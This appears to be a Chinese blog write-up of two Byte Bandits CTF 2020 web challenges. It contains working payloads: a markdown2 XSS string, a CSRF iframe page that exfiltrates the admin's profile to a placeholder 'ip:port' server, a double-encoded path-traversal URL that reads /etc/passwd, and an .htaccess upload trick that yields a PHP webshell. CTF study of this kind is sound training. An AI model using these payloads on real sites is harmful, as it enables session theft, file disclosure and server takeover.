zoukankan      html  css  js  c++  java
  • Byte Bandits ctf 2020 复现

    今天又是自闭的一天呢

    Noteapp

    考点:XSS、CSRF(wtcl....自闭了)

    docker:https://github.com/ByteBandits/bbctf-2020/tree/master/web/notes
    需要把google浏览器的key验证相关代码删掉,不然会无法通过验证:(感谢byc_404师傅)
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    只要能让bot访问ip就行了,然后./env.sh && docker-compose up -d

    注册登陆之后是一个便签
    /profile
    在这里插入图片描述
    并且可以提交页面给管理员看,xss实锤了

    但是有内容的闭合标签都会被替换成[HTML_REMOVED]
    在这里插入图片描述
    单个尖括号也会被转义成html实体编码:<

    xss技术太差了,结束之后看思路,没想到突破点是这个:用的markdown2解析器
    在这里插入图片描述
    poc:https://github.com/trentm/python-markdown2/issues/341
    看一下markdown版本为2.3.8,正好符合

    <http://g<!s://q?<!-<[<script>alert(1);/*](http://g)->a><http://g<!s://g.c?<!-<[a\*/</script>alert(1);/*](http://g)->a>
    

    能弹窗:
    在这里插入图片描述
    但是此时的页面依然是:/profile

    如果提交给管理员这个url,那么管理员访问的也只是自己的/profile

    之前从来没碰到过CSRF,没想到在这碰上了

    CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,你可以这样来理解:
    攻击者构造结合了恶意JavaScript和iframe的攻击,该iframe加载了合法页面
    诱使你点击,然后以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作

    那么我们要获取管理员的/profile(flag在上面)步骤如下:

    1.先在自己的服务器上构造第一个恶意的iframe,用来获取保存管理员的/profile页面。再构造第二个iframe,将管理员注销。构造第三个iframe用来登陆我们自己的账号,url为/login?username=xxx&password=xxx
    2.管理员登陆我们的账号后,会自动跳转的我们的/profile,此时改一下上面的xss语句,跳转到我们服务器,并携带第一个iframe的值,这样就成功返回了管理员页面

    为了确保上述操作能一步步进行,需要延时来确保完成

    服务器html如下:

    <html>
    <head>
    <script>
    function sleep(waitMsec){
        var startMsec = new Date();
        while (new Date() - startMsec < waitMsec);
    }
    window.addEventListener('load', function() {
    	//iframe1
        var adminframe = document.createElement("iframe");
        adminframe.name = "adminframe";
        adminframe.src = "https://notes.web.byteband.it/profile";
        var body = document.querySelector("body");//获取body标签的内容
        body.appendChild(adminframe);//加入iframe1
        sleep(3000);//延时
        //iframe2
        var logoutframe = document.createElement("iframe");
        logoutframe.src = "https://notes.web.byteband.it/logout";//用来注销admin账号
        body.appendChild(logoutframe);
        sleep(3000);//延时
        //iframe3
        var loginframe = document.createElement("iframe");
        loginframe.src = "https://notes.web.byteband.it/login?username=wander&password=123";//登陆我们的账号
        body.appendChild(loginframe);
    }, false);
    </script>
    </head>
    </html>
    

    /profile js如下,用来获取iframe的body值并跳转到服务器

    <http://g<!s://q?<!-<[<script>location.href='http://ip:port/?q='+btoa(top.adminframe.document.body.innerHTML);/*](http://g)->a><http://g<!s://g.c?<!-<[a\*/</script>hoge;/*](http://g)->a>
    

    做完准备工作后只需要提交url即可,然后监听即可收到flag
    在这里插入图片描述
    base64一下就可以看到admin的/profile了
    在这里插入图片描述

    参考文章:https://graneed.hatenablog.com/entry/2020/04/13/004211
    https://d1r3wolf.blogspot.com/2020/04/chaning-no-impactna-bugs-to-get-high.html
    关于csrf:https://xz.aliyun.com/t/1243#toc-11
    https://www.freebuf.com/articles/web/55965.html

    下次抽个时间写一下csrf吧

    imgaccess2

    这题感觉solve数太少了,没看的太深(菜),毕竟有环境,还是跟着师傅的wp复现一下吧

    题目描述:I heard they have something special running at secretserver:1337
    考点:文件读取、文件上传
    在这里插入图片描述
    首先是一个文件上传点,一般都不会直接考上传绕过的,这题也是如此
    先上传一个图片,上传完后得到路径为:
    http://ip:7003/view/f528764d624db129b32c21fbca0cb8d6/wander.png
    在这里插入图片描述
    源码处得到真实路径
    格式为uploads/md5/原始文件名:
    在这里插入图片描述
    根据官方的hint:
    在这里插入图片描述
    得知是python代码,并且/uploads可能有文件读取,根据wp居然是二次url编码进行路径穿越然后读取文件,需要fuzz功底

    这样就能得到/etc/passwd的内容

    /uploads/f528764d624db129b32c21fbca0cb8d6/..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd
    

    在这里插入图片描述
    由于不知道当前目录,可以用/proc/self/cwd/app.py来读python源码:

    from flask import Flask, render_template, request, flash, redirect, send_file
    from urllib.parse import urlparse
    import re
    import os
    from hashlib import md5
    import asyncio
    import requests
    
    app = Flask(__name__)
    app.config['UPLOAD_FOLDER'] = os.path.join(os.curdir, "uploads")
    # app.config['UPLOAD_FOLDER'] = "/uploads"
    app.config['MAX_CONTENT_LENGTH'] = 1*1024*1024
    app.secret_key = b'_5#y2L"F4Q8z
    xec]/'
    ALLOWED_EXTENSIONS = {'png', 'jpg', 's'}
    
    if not os.path.exists(app.config['UPLOAD_FOLDER']):
        os.mkdir(app.config['UPLOAD_FOLDER'])
    
    def secure_filename(filename):
        return re.sub(r"(..|/)", "", filename)
    
    def allowed_file(filename):
        return '.' in filename and 
               filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
    
    @app.route("/")
    def index():
        return render_template("home.html")
    
    @app.route("/upload", methods=["POST"])
    def upload():
        caption = request.form["caption"]
        file = request.files["image"]
    
        if file.filename == '':
            flash('No selected file')
            return redirect("/")
        elif not allowed_file(file.filename):
            flash('Please upload images only.')
            return redirect("/")
        else:
            if not request.headers.get("X-Real-IP"):
               ip = request.remote_addr
            else:
               ip = request.headers.get("X-Real-IP")
            dirname = md5(ip.encode()).hexdigest()
            filename = secure_filename(file.filename)
            upload_directory = os.path.join(app.config['UPLOAD_FOLDER'], dirname)
            if not os.path.exists(upload_directory):
                os.mkdir(upload_directory)
            upload_path = os.path.join(app.config['UPLOAD_FOLDER'], dirname, filename)
            file.save(upload_path)
            return render_template("uploaded.html", path = os.path.join(dirname, filename))
    
    @app.route("/view/<path:path>")
    def view(path):
        return render_template("view.html", path = path)
    
    @app.route("/uploads/<path:path>")
    def uploads(path):
        # TODO(noob):
        # zevtnax told me use apache for static files. I've
        # already configured it to serve /uploads_apache but it
        # still needs testing. I'm a security noob anyways.
        return send_file(os.path.join(app.config['UPLOAD_FOLDER'], path))
    
    if __name__ == "__main__":
        app.run(port=5000)
    

    这里有一个白名单过滤:

    ALLOWED_EXTENSIONS = {'png', 'jpg', 's'}
    

    这个s很奇妙,看到后面对文件名进行的操作:

    filename = secure_filename(file.filename)
    

    而secure_filename在这里做了正则替换
    在这里插入图片描述
    会将..或者替换为空
    在这里插入图片描述
    根据提示.htaccess与这一段注释,得知要我们上传.htaccess文件,并且/uploads_apache路径下应该是apache的服务
    在这里插入图片描述
    可以通过404页面判断,/uploads
    在这里插入图片描述
    /upload_apache
    在这里插入图片描述
    由于后缀白名单中有一个s,所以上传文件名为.htacces..s即可:
    内容为addtype application/x-httpd-php .png
    在这里插入图片描述
    此时访问png图片即可getshell
    在这里插入图片描述
    根据题目描述:I heard they have something special running at secretserver:1337
    看一下/etc/hosts得知内网为172.19.0.2的网段
    用插件探测一下发现.3开着1337端口
    在这里插入图片描述
    直接在upload路径下wget会显示permission denied,那么就转到/tmp目录wget http://172.19.0.3:1337 -O 1.html
    在这里插入图片描述
    在这里插入图片描述
    继续读flag.txt
    在这里插入图片描述
    在这里插入图片描述
    参考文章:http://www.bycsec.top/2020/04/13/ByteBanditsCTF2020%E4%B8%A4%E9%81%93WEB%E5%A4%8D%E7%8E%B0/#ImgAccess2
    https://www.gem-love.com/ctf/2254.html

    后记

    web3点击源码下出来一个apk,直接给我劝退了,https://github.com/ByteBandits/bbctf-2020/tree/master/web/analytics
    在这里插入图片描述

  • 相关阅读:
    Salt-ssh批量自动安装被控端salt-mini
    Saltstack配置管理
    gitlab的安装和基本维护
    Git的杀手级功能之 一 远程仓库
    分布式版本控制系统-git
    Linux查看服务器公网ip的方法
    vmware fusion 10序列号
    python3.6.4的importlib模块重载用法
    设置PyCharm中的Python代码模版
    MacOs执行SQL出错(mysql)
  • 原文地址:https://www.cnblogs.com/W4nder/p/12693395.html
Copyright © 2011-2022 走看看